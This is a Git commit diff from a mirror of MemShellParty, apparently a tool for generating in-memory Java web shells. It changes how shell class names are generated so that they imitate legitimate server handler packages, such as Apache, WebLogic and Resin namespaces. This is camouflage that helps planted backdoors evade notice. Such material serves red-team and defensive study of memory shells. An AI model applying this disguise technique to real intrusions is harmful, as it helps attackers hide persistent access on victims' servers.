mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
fix: tomcat filter shell not work
tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work
This commit is contained in:
@@ -24,6 +24,5 @@ public class ShellToolConfig {
|
|||||||
/**
|
/**
|
||||||
* shellClass 的类名
|
* shellClass 的类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
private String shellClassName;
|
||||||
private String shellClassName = CommonUtil.generateShellClassName();
|
|
||||||
}
|
}
|
||||||
@@ -76,12 +76,10 @@ public class CommonUtil {
|
|||||||
case WebLogic -> "weblogic.servlet.internal.handlers";
|
case WebLogic -> "weblogic.servlet.internal.handlers";
|
||||||
case Resin -> "com.caucho.server.dispatch.handlers";
|
case Resin -> "com.caucho.server.dispatch.handlers";
|
||||||
case BES -> "com.bes.enterprise.webtier.web.handlers";
|
case BES -> "com.bes.enterprise.webtier.web.handlers";
|
||||||
default -> "org.apache.catalina.web.handlers";
|
default -> "org.apache.http.web.handlers";
|
||||||
};
|
};
|
||||||
return packageName
|
return packageName
|
||||||
+ "." + getRandomString(1)
|
+ "." + getRandomString(5)
|
||||||
+ "." + getRandomString(1)
|
|
||||||
+ "." + getRandomString(1)
|
|
||||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Reference in New Issue
Block a user